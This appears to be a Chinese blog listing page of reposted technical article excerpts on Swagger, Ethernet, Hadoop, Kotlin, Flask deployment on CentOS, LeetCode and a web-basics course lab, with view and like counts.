发布博客于 2 年前

swagger 动态显示枚举内容 + 数值类型空指针异常统一控制

遇到的问题:当我们定义接口的入参或者返回值的字段想把他关联的枚举内容显示到swagger的页面上方便前端同学查看,但是又不想在每次修改枚举值的时候去手动修改description,如果不去手动修改又会遇到前后端掌握的枚举值不一致的情况定义的接口参数Integer、Boolean 字段的时候,如果不去设置该值的example的时候,获取swagger页面的时候,会提示nullpointExce...
转载
3589阅读
0评论
0点赞
发布博客于 2 年前

第七周

以太网是一种计算机局域网技术。IEEE组织的IEEE 802.3标准制定了以太网的技术标准,它规定了包括物理层的连线、电子信号和介质访问层协议的内容。以太网是目前应用最普遍的局域网技术,取代了其他局域网标准如令牌环、FDDI和ARCNET。扩展以太网的方法有在物理层扩展以太网和在数据链路层扩展以太网。在数据链路层扩展以太网需要使用网桥,网桥通过转发表来转发帧。转发表也称为转发数据库或路...
转载
38阅读
0评论
0点赞
发布博客于 2 年前

好程序员大数据划重点 hadoop常用四大模块文件

1.core-site.xml(工具模块)。包括Hadoop常用的工具类,由原来的Hadoopcore部分更名而来。主要包括系统配置工具Configuration、远程过程调用RPC、序列化机制和Hadoop抽象文件系统FileSystem等。它们为在通用硬件上搭建云计算环境提供基本的服务,并为运行在该平台上的软件开发提供了所需的API。2.hdfs-site.xm...
转载
51阅读
0评论
0点赞
发布博客于 2 年前

Kotlin实战--消除静态工具类:顶层函数和属性

1.引入我们都知道, Java 作为 门面向对象的语言,需要所有的代码都写作类的函数。大多数情况下,这种方式还能行得通。但事实上,几乎所有的大型项目,最终都有很多的代码并不能归属到任何 个类中。有时一个操作对应两个不同的类的对象,而且重要性相差无几。有时存在 个基本的对象,但你不想通过实例函数来添加操作,让它的 API 继续膨胀。结果就是,最终这些类将不包含任何的状态或者实例函数,而是仅仅作为一...
转载
103阅读
0评论
0点赞
发布博客于 2 年前

Centos下搭建flask项目(环境部署)

参考文章:www.jianshu.com/p/f1acbd401…1.安装python1)下载 python 3.6.1wget https://www.Python.org/ftp/python/3.6.1/Python-3.6.1.tar.xz复制代码2) 解压tar xJf Python-3.6.1.tar.xz复制代码3) 进入 python-3.6.1 目录cd Pyt...
转载
246阅读
0评论
0点赞
发布博客于 2 年前

python实现的一个抽象图像类的代码

将开发过程中比较常用的内容收藏起来,下面的内容是关于python实现的一个抽象图像类的内容。#!/usr/bin/env pythonemail: dreamingforward@gmail.com"""Graph class."""#change a lot of these for loops to use faster map() function (see FAQ and Quic...
转载
68阅读
0评论
0点赞
发布博客于 2 年前

Eclipse 常见Maven web项目

我是从工作到现在一直用的IDEA,编程软件只要你会技术都没什么区别,只是熟与不熟。1、下载eclipse软件  百度上搜索eclipse或者到官网https://www.eclipse.org/downloads/下载都OK2、安装  下载完过后直接双击等待一下,然后弹出来这个,如果是java项目就勾选这个,其他的就看着你要用的下载,等待几分钟就好了  3、配置Maven...
转载
23阅读
0评论
0点赞
发布博客于 2 年前

leetCode第九题,回文数(Palindrome Number),JavaScript实现

本博客的作者与csdn里Tank_in_the_street的作者是同一作者,转载文章需写明出处。本文章的代码已上传到GitHub,地址是回文数,喜欢的老铁点个赞,谢谢合作。 今天刷的题目是算法题里最简单的回文数,题目如下所示:​ 在不考虑进阶的情况下,可以通过将整数转换成字符串,利用字符串在JavaScript里的特性可以很快的得出结果。方法是遍历字符串的前一半...
转载
18阅读
0评论
0点赞
发布博客于 2 年前

数据包分析中Drop和iDrop的区别

2019独角兽企业重金招聘Python工程师标准>>> ...
转载
152阅读
0评论
0点赞
发布博客于 2 年前

2018-2019-2 网络对抗技术 20165323 Exp 8 Web基础

一.原理与实践说明1.实践具体要求(1)Web前端HTML(0.5分)能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。(2)Web前端javascipt(0.5分)理解JavaScript的基本功能,理解DOM。编写JavaScript验证用户名、密码的规则。(3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创...
转载
68阅读
0评论
0点赞
发布博客于 2 年前